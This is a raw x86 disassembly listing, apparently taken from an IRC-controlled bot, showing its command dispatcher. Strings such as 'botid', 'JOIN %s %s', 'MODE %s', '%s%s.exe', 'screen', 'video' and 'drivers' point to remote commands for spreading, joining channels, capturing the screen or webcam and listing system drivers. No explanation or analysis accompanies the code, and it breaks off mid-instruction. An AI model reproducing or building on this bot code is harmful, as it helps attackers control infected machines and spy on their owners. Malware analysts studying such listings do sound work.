[ebp+var_770], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_568], esi push edi push offset dword_436CE8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Bh push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_4019D7 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4127AF loc_41279D: ; CODE XREF: sub_40EE72+393Bj cmp [ebp+var_560], ebx jnz short loc_4127CA push 32h nop call near ptr 25E041Ch jmp short loc_41279D ; --------------------------------------------------------------------------- loc_4127AF: ; CODE XREF: sub_40EE72+3929j call near ptr 2630B7Ah nop push eax lea eax, [ebp+var_2DC] push offset dword_436CA0 push eax call sub_4172B0 add esp, 0Ch loc_4127CA: ; CODE XREF: sub_40EE72+3931j cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push esi jmp loc_414619 ; --------------------------------------------------------------------------- loc_4127DA: ; CODE XREF: sub_40EE72+266Fj ; sub_40EE72+2686j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_768] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_6E8] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_668] push [ebp+var_8C] push eax call sub_418C10 push 20h lea eax, [ebp+var_5E8] push [ebp+arg_8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_568], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_7F0], esi push edi push offset unk_436C60 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Ah push eax call sub_416D5C add esp, 20h mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_401000 push ebx push ebx call near ptr 2660BD0h nop mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4128C2 loc_4128AC: ; CODE XREF: sub_40EE72+3A4Ej cmp [ebp+var_560], ebx jnz loc_411D22 push 32h nop call near ptr 25E041Ch jmp short loc_4128AC ; --------------------------------------------------------------------------- loc_4128C2: ; CODE XREF: sub_40EE72+3A38j nop call near ptr 2630B7Ah push eax push offset unk_436C18 loc_4128CE: ; CODE XREF: sub_40EE72+2E92j ; sub_40EE72+2FEEj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 jmp loc_411D1F ; --------------------------------------------------------------------------- loc_4128DF: ; CODE XREF: sub_40EE72+2641j ; sub_40EE72+2658j push 7Fh lea eax, [ebp+var_458] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push 3Fh mov [ebp+var_308], eax push [ebp+arg_0] lea eax, [ebp+var_3D8] push eax call sub_418C10 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_41292D push 3Fh lea eax, [ebp+var_398] push esi push eax call sub_418C10 add esp, 0Ch loc_41292D: ; CODE XREF: sub_40EE72+3AA7j lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+var_2DC] push offset unk_436BD8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 18h push eax call sub_416D5C add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40EB92 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4129B9 loc_4129A3: ; CODE XREF: sub_40EE72+3B45j cmp [ebp+var_2FC], ebx jnz loc_413A64 push 32h nop call near ptr 25E041Ch jmp short loc_4129A3 ; --------------------------------------------------------------------------- loc_4129B9: ; CODE XREF: sub_40EE72+3B2Fj nop call near ptr 2630B7Ah push eax push offset unk_436B90 jmp loc_411888 ; --------------------------------------------------------------------------- loc_4129CA: ; CODE XREF: sub_40EE72+2601j ; sub_40EE72+2618j push [ebp+arg_18] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_412AC1 mov esi, 80h push edi lea eax, [ebp+var_6F8] push esi push eax call sub_41782A add esp, 0Ch xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push edi push offset unk_436B54 push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Dh push eax call sub_416D5C add esp, 20h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_40144A push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412AB0 loc_412A9A: ; CODE XREF: sub_40EE72+3C3Cj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 25E041Ch jmp short loc_412A9A ; --------------------------------------------------------------------------- loc_412AB0: ; CODE XREF: sub_40EE72+3C26j nop call near ptr 2630B7Ah push eax push offset unk_436B0C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_412AC1: ; CODE XREF: sub_40EE72+3B69j push offset unk_436AC4 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_412ACB: ; CODE XREF: sub_40EE72+25D3j ; sub_40EE72+25EAj push [ebp+arg_18] push edi nop call near ptr 27B0AB4h test eax, eax jz short loc_412AFB push [ebp+arg_18] lea eax, [ebp+var_2DC] push edi push offset unk_436A90 push 200h push eax call sub_41782A add esp, 14h jmp loc_41460C ; --------------------------------------------------------------------------- loc_412AFB: ; CODE XREF: sub_40EE72+3C65j push offset dword_436A74 call sub_40AA35 pop ecx push eax lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_413C09 ; --------------------------------------------------------------------------- loc_412B1D: ; CODE XREF: sub_40EE72+25A5j ; sub_40EE72+25BCj push edi lea eax, [ebp+var_774] push 104h push eax call sub_41782A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_412B57 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_412B57 push eax lea eax, [ebp+var_670] push eax call sub_4172B0 pop ecx pop ecx loc_412B57: ; CODE XREF: sub_40EE72+3CC3j ; sub_40EE72+3CD4j push [ebp+var_8C] lea eax, [ebp+var_7F4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset unk_436A34 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ch push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_408DCA push ebx push ebx call near ptr 2660BD0h nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412C0D loc_412BF7: ; CODE XREF: sub_40EE72+3D99j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h nop call near ptr 25E041Ch jmp short loc_412BF7 ; --------------------------------------------------------------------------- loc_412C0D: ; CODE XREF: sub_40EE72+3D83j call near ptr 2630B7Ah nop push eax push offset unk_4369E8 jmp loc_414E02 ; --------------------------------------------------------------------------- loc_412C1E: ; CODE XREF: sub_40EE72+2577j ; sub_40EE72+258Ej push 44h lea eax, [ebp+var_4A0] pop esi push esi push ebx push eax call sub_417330 push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi mov [ebp+var_474], esi call sub_41781F add esp, 10h cmp eax, esi jnz short loc_412C5B mov word ptr [ebp+var_470], 5 loc_412C5B: ; CODE XREF: sub_40EE72+3DDEj cmp [ebp+var_C], ebx jz loc_413A64 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_413A64 lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 274060Ah test eax, eax jnz short loc_412CA6 push offset unk_4369B4 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_412CA6: ; CODE XREF: sub_40EE72+3E28j push edi push offset dword_43698C jmp loc_411888 ; --------------------------------------------------------------------------- loc_412CB1: ; CODE XREF: sub_40EE72+2549j ; sub_40EE72+2560j push [ebp+arg_18] push offset aBotid ; "botid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E2B lea eax, [ebp+var_3FC] push eax push 104h call near ptr 27511B2h nop push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 lea eax, [ebp+var_2F8] push eax call sub_4159F4 add esp, 10h push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax call sub_4172B0 mov eax, [ebp+esi+var_88] add esp, 10h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_412D46 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_412D4C ; --------------------------------------------------------------------------- loc_412D46: ; CODE XREF: sub_40EE72+3EBEj mov [ebp+var_570], ebx loc_412D4C: ; CODE XREF: sub_40EE72+3ED2j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_412D66 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412D6C ; --------------------------------------------------------------------------- loc_412D66: ; CODE XREF: sub_40EE72+3EE3j mov [ebp+var_574], ebx loc_412D6C: ; CODE XREF: sub_40EE72+3EF2j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+var_2DC] push offset unk_436944 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 17h push eax call sub_416D5C add esp, 18h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412E1A loc_412E04: ; CODE XREF: sub_40EE72+3FA6j cmp [ebp+var_560], ebx jnz loc_413A64 push 32h nop call near ptr 25E041Ch jmp short loc_412E04 ; --------------------------------------------------------------------------- loc_412E1A: ; CODE XREF: sub_40EE72+3F90j nop call near ptr 2630B7Ah push eax push offset unk_4368F8 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412E2B: ; CODE XREF: sub_40EE72+3E50j push offset unk_4368A4 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_412E35: ; CODE XREF: sub_40EE72+251Bj ; sub_40EE72+2532j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx pop ecx push eax lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_436894 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 push edi call sub_41781F add esp, 28h test eax, eax jle short loc_412EBE push edi call sub_41781F imul eax, 3E8h pop ecx push eax call near ptr 25E041Ch nop loc_412EBE: ; CODE XREF: sub_40EE72+4036j push offset dword_436870 call sub_40BF6D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412ED2: ; CODE XREF: sub_40EE72+24EDj ; sub_40EE72+2504j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_4176D0 add esp, 10h test eax, eax push esi jz short loc_412F91 push [ebp+var_8C] lea eax, [ebp+var_2DC] push [ebp+var_90] push [ebp+var_94] push offset dword_436894 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] loc_412F4B: ; DATA XREF: ___:off_42DE40o call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push offset dword_436840 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push edi call sub_41781F add esp, 14h test eax, eax jle loc_414F47 push edi call sub_41781F add eax, [ebp+arg_24] pop ecx jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412F91: ; CODE XREF: sub_40EE72+40A5j push offset dword_4367FC jmp loc_411888 ; --------------------------------------------------------------------------- loc_412F9B: ; CODE XREF: sub_40EE72+24BFj ; sub_40EE72+24D6j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_4367F4 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h loc_412FB8: ; CODE XREF: sub_40EE72+41B0j test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 loc_412FD2: ; CODE XREF: sub_40EE72+4CBDj lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 loc_412FF6: ; CODE XREF: sub_40EE72+446Bj ; sub_40EE72+5D44j add esp, 0Ch jmp loc_414F47 ; --------------------------------------------------------------------------- loc_412FFE: ; CODE XREF: sub_40EE72+2491j ; sub_40EE72+24A8j push [ebp+esi+var_88] lea eax, [ebp+var_2DC] push [ebp+arg_18] push offset dword_4367E8 push eax call sub_4172B0 push edi call sub_41781F add esp, 14h jmp short loc_412FB8 ; --------------------------------------------------------------------------- loc_413024: ; CODE XREF: sub_40EE72+2463j ; sub_40EE72+247Aj push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_4367E0 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_4367B4 jmp loc_4132D8 ; --------------------------------------------------------------------------- loc_413090: ; CODE XREF: sub_40EE72+2435j ; sub_40EE72+244Cj cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4130C1 push esi lea eax, [ebp+var_2DC] push offset dword_4367AC push eax call sub_4172B0 add esp, 0Ch loc_4130C1: ; CODE XREF: sub_40EE72+4238j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_436780 jmp loc_4132D8 ; --------------------------------------------------------------------------- loc_413115: ; CODE XREF: sub_40EE72+2407j ; sub_40EE72+241Ej cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push esi push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_436754 jmp loc_4132D8 ; --------------------------------------------------------------------------- loc_413183: ; CODE XREF: sub_40EE72+23D9j ; sub_40EE72+23F0j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_43671C jmp loc_414F40 ; --------------------------------------------------------------------------- loc_4131BD: ; CODE XREF: sub_40EE72+23ABj ; sub_40EE72+23C2j push [ebp+var_90] push offset dword_4386A8 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 push [ebp+arg_18] push offset dword_436710 push [ebp+arg_4] call sub_40D633 push edi call sub_41781F imul eax, 3E8h add esp, 10h push eax nop call near ptr 25E041Ch push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_4366EC call sub_40BF6D add esp, 14h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_413226: ; CODE XREF: sub_40EE72+237Dj ; sub_40EE72+2394j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push esi lea eax, [ebp+var_2DC] push offset dword_436F08 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push ebx push eax push edi push [ebp+arg_4] call sub_40D679 add esp, 20h push esi push edi push offset dword_4366C0 jmp short loc_4132D8 ; --------------------------------------------------------------------------- loc_41328C: ; CODE XREF: sub_40EE72+234Fj ; sub_40EE72+2366j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40D679 add esp, 14h push esi push edi push offset dword_436694 loc_4132D8: ; CODE XREF: sub_40EE72+4219j ; sub_40EE72+429Ej ... call sub_40BFE1 jmp loc_412FF6 ; --------------------------------------------------------------------------- loc_4132E2: ; CODE XREF: sub_40EE72+2321j ; sub_40EE72+2338j cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 push eax push edi call sub_40BE75 pop ecx pop ecx push edi push offset dword_436668 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_413314: ; CODE XREF: sub_40EE72+22E1j ; sub_40EE72+22F8j push edi push [ebp+arg_1C] call sub_417880 pop ecx test eax, eax pop ecx jz loc_414F47 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_4133B8 push esi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4133A0 push esi lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_436894 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push edi push offset dword_436634 push eax call sub_4172B0 add esp, 10h inc [ebp+arg_24] jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_4133A0: ; CODE XREF: sub_40EE72+44D3j lea eax, [ebp+var_2DC] push offset dword_4365F4 push eax call sub_4172B0 pop ecx pop ecx jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_4133B8: ; CODE XREF: sub_40EE72+44BEj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h lea eax, [ebp+var_2DC] push edi push offset dword_4365CC push 200h push eax call sub_41782A add esp, 10h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413402: ; CODE XREF: sub_40EE72+22B3j ; sub_40EE72+22CAj push offset aScreen ; "screen" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413465 cmp [ebp+esi+var_8C], ebx jz short loc_413452 push [ebp+esi+var_8C] call sub_4085B3 cmp eax, 1 pop ecx jnz short loc_41344B push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_436588 push eax call sub_4172B0 add esp, 0Ch jmp short loc_413465 ; --------------------------------------------------------------------------- loc_41344B: ; CODE XREF: sub_40EE72+45BAj push offset dword_43654C jmp short loc_413457 ; --------------------------------------------------------------------------- loc_413452: ; CODE XREF: sub_40EE72+45A8j push offset dword_436504 loc_413457: ; CODE XREF: sub_40EE72+45DEj lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413465: ; CODE XREF: sub_40EE72+459Fj ; sub_40EE72+45D7j push offset aDrivers ; "drivers" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4134FC mov [ebp+arg_0], ebx loc_41347D: ; CODE XREF: sub_40EE72+4675j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+arg_0] call dword_43F698 test eax, eax jz short loc_4134E0 lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+arg_0] push offset dword_4364C8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_15B0] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h loc_4134E0: ; CODE XREF: sub_40EE72+462Ej inc [ebp+arg_0] cmp [ebp+arg_0], 0Ah jl short loc_41347D lea eax, [ebp+var_2DC] push offset dword_436494 push eax call sub_4172B0 pop ecx pop ecx loc_4134FC: ; CODE XREF: sub_40EE72+4602j push offset aFrame ; "frame" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4135A2 cmp [ebp+esi+var_8C], ebx jz short loc_41358F cmp [ebp+esi+var_88], ebx jz short loc_41358F cmp [ebp+esi+var_84], ebx jz short loc_41358F mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_41358F push eax call sub_41781F pop ecx push eax push [ebp+esi+var_84] call sub_41781F pop ecx push eax push [ebp+esi+var_88] call sub_41781F pop ecx push eax push [ebp+esi+var_8C] call sub_4087EE add esp, 10h test eax, eax jnz short loc_413588 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_436450 push eax call sub_4172B0 add esp, 0Ch jmp short loc_4135A2 ; --------------------------------------------------------------------------- loc_413588: ; CODE XREF: sub_40EE72+46F7j push offset dword_43640C jmp short loc_413594 ; --------------------------------------------------------------------------- loc_41358F: ; CODE XREF: sub_40EE72+46A6j ; sub_40EE72+46AFj ... push offset dword_4363C4 loc_413594: ; CODE XREF: sub_40EE72+471Bj lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4135A2: ; CODE XREF: sub_40EE72+4699j ; sub_40EE72+4714j push offset aVideo ; "video" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_413A64 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_41363B mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_41363B mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_41363B mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_41363B mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_41363B push esi call sub_41781F pop ecx push eax push edi call sub_41781F pop ecx push eax push [ebp+arg_10] call sub_41781F pop ecx push eax push [ebp+arg_0] call sub_41781F pop ecx push eax push [ebp+arg_18] call sub_4089E7 add esp, 14h test eax, eax jnz short loc_413631 push [ebp+arg_18] push offset dword_436388 jmp loc_411888 ; --------------------------------------------------------------------------- loc_413631: ; CODE XREF: sub_40EE72+47B0j push offset dword_436338 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_41363B: ; CODE XREF: sub_40EE72+4751j ; sub_40EE72+475Fj ... push offset dword_4362EC jmp loc_413A56 ; --------------------------------------------------------------------------- loc_413645: ; CODE XREF: sub_40EE72+1CF0j ; sub_40EE72+1D07j push offset aR ; "r" push edi call sub_4179A8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4136C0 mov ebx, 200h push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 0Ch loc_41366E: ; CODE XREF: sub_40EE72+482Bj test eax, eax jz short loc_41369F push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 20h jmp short loc_41366E ; --------------------------------------------------------------------------- loc_41369F: ; CODE XREF: sub_40EE72+47FEj push esi call sub_417900 pop ecx lea eax, [ebp+var_2DC] push edi push offset dword_4362B8 push eax call sub_4172B0 add esp, 0Ch jmp loc_4110FD ; --------------------------------------------------------------------------- loc_4136C0: ; CODE XREF: sub_40EE72+47E4j push edi push offset dword_436288 jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4136CB: ; CODE XREF: sub_40EE72+1CC2j ; sub_40EE72+1CD9j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push offset asc_42A660 ; "\n" push esi call sub_4179D0 push esi call sub_40B358 add esp, 0Ch test eax, eax jnz short loc_41370B push offset dword_43624C jmp loc_413A56 ; --------------------------------------------------------------------------- loc_41370B: ; CODE XREF: sub_40EE72+488Dj push esi push offset dword_436224 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413716: ; CODE XREF: sub_40EE72+1C94j ; sub_40EE72+1CABj cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_414F47 push eax call sub_40AAFA test eax, eax pop ecx jnz short loc_413747 push offset unk_4361F8 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_413747: ; CODE XREF: sub_40EE72+48C9j push offset dword_4361CC jmp loc_413A56 ; --------------------------------------------------------------------------- loc_413751: ; CODE XREF: sub_40EE72+1C66j ; sub_40EE72+1C7Dj push 7Fh lea eax, [ebp+var_6EC] push edi push eax call sub_418C10 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_413780 push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 add esp, 0Ch loc_413780: ; CODE XREF: sub_40EE72+48FAj push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax push edi lea eax, [ebp+var_2DC] push offset dword_4361A4 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 15h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_40BC4B push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_413821 loc_41380B: ; CODE XREF: sub_40EE72+49ADj cmp [ebp+var_560], ebx jnz loc_414AC3 push 32h call near ptr 25E041Ch nop jmp short loc_41380B ; --------------------------------------------------------------------------- loc_413821: ; CODE XREF: sub_40EE72+4997j nop call near ptr 2630B7Ah push eax push offset unk_436158 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413832: ; CODE XREF: sub_40EE72+1C38j ; sub_40EE72+1C4Fj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_406387 add esp, 10h push edi push offset dword_436134 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413850: ; CODE XREF: sub_40EE72+1C0Aj ; sub_40EE72+1C21j push 14h lea eax, [ebp+var_708] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_6F4] push edi push offset aS_1 ; "%s" push eax call sub_4172B0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_710], eax lea eax, [ebp+var_D8] push eax lea eax, [ebp+var_5F0] push 80h push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_5F0] push eax lea eax, [ebp+var_6F4] push eax lea eax, [ebp+var_2DC] push offset dword_436100 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 12h push eax call sub_416D5C add esp, 1Ch mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_710] push ebx push eax push offset sub_40C512 push ebx push ebx nop call near ptr 2660BD0h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov 